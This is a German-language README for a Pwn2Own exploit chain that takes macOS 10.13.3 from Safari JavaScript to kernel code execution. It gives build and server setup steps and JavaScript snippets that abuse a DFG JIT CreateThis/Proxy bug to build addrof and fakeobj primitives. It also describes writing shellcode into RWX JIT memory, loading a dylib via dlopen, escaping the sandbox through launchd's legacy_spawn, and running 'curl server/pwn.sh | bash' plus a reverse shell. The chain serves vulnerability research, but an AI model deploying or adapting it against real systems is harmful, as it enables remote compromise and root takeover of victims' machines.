
Ein Pwn2Own-Exploit-Chain
Safari RCE, Sandbox-Escape und LPE zum Kernel für macOS 10.13.3.
Installiere nasm und tornado:
brew install nasm
pip3 install tornado
Überprüfe config.py, wenn du den Host oder die Ports ändern möchtest. Starte danach den Server mit ./server.py und navigiere zu der angezeigten URL.
Diese Exploit-Kette nutzt drei verschiedene Bugs, um von JavaScript-Code, der in Safari läuft, zur Codeausführung im Kernel-Modus zu gelangen:
Die Exploit-Kette ist in sechs Stufen implementiert, die sich jeweils in einem eigenen Unterverzeichnis befinden:
Jedes Unterverzeichnis (mit Ausnahme von libspc/) enthält eine Datei namens make.py, die bei Ausführung alle notwendigen Build-Befehle ausführt und eine Liste von Dateien erstellt, die vom Webserver ausgeliefert werden sollen.
Ziel: Shellcode-Ausführung innerhalb des sandboxierten WebContent-Prozesses erreichen
Ausgenutzter Bug: fehlerhafte Optimierung im DFG-JIT-Compiler
Siehe auch diesen BlackHat-Vortrag
Der DFG-JIT-Compiler repräsentiert JavaScript-Code in seiner eigenen Zwischendarstellung (IR), dem Data Flow Graph (DFG). Typischerweise wird ein JavaScript-Ausdruck in diesem Graphen in eine oder mehrere IR-Anweisungen übersetzt. Im Fall einer Konstruktorfunktion wird die Anweisung CreateThis erzeugt, die für die Allokation des this-Objekts verantwortlich ist, das von der Funktion konstruiert wird. Als Beispiel würde die Funktion function Consructor() {}, wenn sie mit new aufgerufen wird, grob übersetzt zu
v0 = CreateThis
return v0
Betrachtet man den AbstractInterpreter, sieht man, dass der DFG-JIT-Compiler annimmt, dass die CreateThis-Operation außer einer Heap-Allokation keine Seiteneffekte verursacht. Tatsächlich wird dieser Code:
function Constructor(obj) {
return obj.x;
}
grob in die folgenden DFG-Anweisungen übersetzt: (Hier wurde die StructureCheck von der TypeCheckHoistingPhase an den Anfang der Funktion verschoben).
StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;
Diese Annahme ist jedoch ungültig, da der Slow-Path-Code für CreateThis in einigen Fällen beliebigen JavaScript-Code ausführen kann. Insbesondere wird durch die Verwendung eines Proxy um die eigentliche Funktion die get-Falle für die Eigenschaft „prototype“ während des Slow-Path-Handlers für CreateThis aufgerufen, da das Prototypobjekt des konstruierten Objekts abgerufen werden muss:
function Constructor(obj) {
return obj.x;
}
var handler = {
get(target, propname) {
/* run JS here, modify the structure of the argument object, etc. */
return target[propname];
},
};
var ConstructorProxy = new Proxy(Constructor, handler);
// Force JIT compilation of ConstructorProxy
Dadurch ist es nun möglich, die Structure eines Objekts zu verändern, ohne dass der JIT-Compiler ein Bailout durchführt.
Dieser Bug kann verwendet werden, um die addrof- und fakeobj-Primitive wie folgt zu konstruieren:
Wir kompilieren den Code für den Fall eines JSArray mit unboxed Double-Elementen und wechseln dann im Callback zu JSValue-Elementen. Danach lädt der JIT-Code einen JSValue aus dem Array, behandelt diese Bits jedoch als Double und gibt sie an uns zurück. Der folgende Code weist die Adresse von leakme der Eigenschaft „address“ des konstruierten Objekts zu.
function InfoLeaker(a) {
this.address = a[0];
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = leakme;
return target[propname];
},
};
// ...
Hier gehen wir im Wesentlichen umgekehrt vor: Wir optimieren den Code, um ein Double in einem Array mit unboxed Double-Elementen zu speichern, und wechseln dann im Callback erneut zu JSValue-Elementen. Der Code schreibt unser kontrolliertes Double weiterhin in unboxed Form in den Backing Storage. Wenn wir später auf dieses Array-Element zugreifen, werden diese Bits als JSValue statt als Double behandelt. Der folgende Code schreibt das unboxed Double address in den Backing Buffer von a, den wir dann als JSValue auslesen können, wodurch wir in die Lage versetzt werden, JSValues unserer Wahl in die Engine zu „injizieren“.
function ObjFaker(a, address) {
a[0] = address;
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = {};
return target[propname];
},
};
// ...
Somit haben wir die Fähigkeit, ein Double zu schreiben und es als JSObject-Zeiger zu behandeln und umgekehrt. Dies kann wie in attacking javascript engines beschrieben ausgenutzt werden.
Der Exploit erreicht zunächst beliebiges Lesen/Schreiben des Prozessspeichers, indem er ein Float64Array vortäuscht, sucht dann den JIT-Bereich (als RWX gemappt) und schreibt den Shellcode der Stufe 1 dorthin.
Ziel: Stufe 2 bootstrappen, indem eine .dylib auf die Festplatte geschrieben und über dlopen() geladen wird
Ein kurzes Assembly-Payload, das im Wesentlichen Folgendes tut:
confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR) aufrufen, um einen Pfad zu einem beschreibbaren Verzeichnis zu erhaltendlopen() in den WebContent-Prozess ladenZiel: aus der Sandbox ausbrechen
Ausgenutzter Bug: fehlende Sandbox-Prüfungen in der „legacy_spawn“-API von launchd
Siehe auch diesen Vortrag
Launchd stellt den RPC-Endpunkt „legacy_spawn“ als Routine 817 in Subsystem 3 bereit. Diese API überprüft nicht, ob dem Aufrufer das Starten von Prozessen erlaubt sein sollte, und führt für den Aufrufer einfach execve mit kontrollierten Argumenten auf einer beliebigen Binärdatei des Systems aus. Da launchd über den Bootstrap-Port erreichbar ist, ist es dadurch möglich, aus der Sandbox auszubrechen.
Der Exploit führt im Wesentlichen curl server/pwn.sh | bash aus und übergibt so die Kontrolle an Stufe 3.
Ziel: calc starten und die übrigen Stufen bootstrappen
Dies führt open /Applications/Calculator.app aus und richtet eine Reverse Shell ein, holt dann alle für die übrigen Stufen erforderlichen Dateien und führt die Exploits aus.
Ziel: Root-Rechte über einen LPE-Exploit erlangen
Ausgenutzter Bug: XNU-Bootstrap-Port-MitM
Siehe auch diesen POC-Vortrag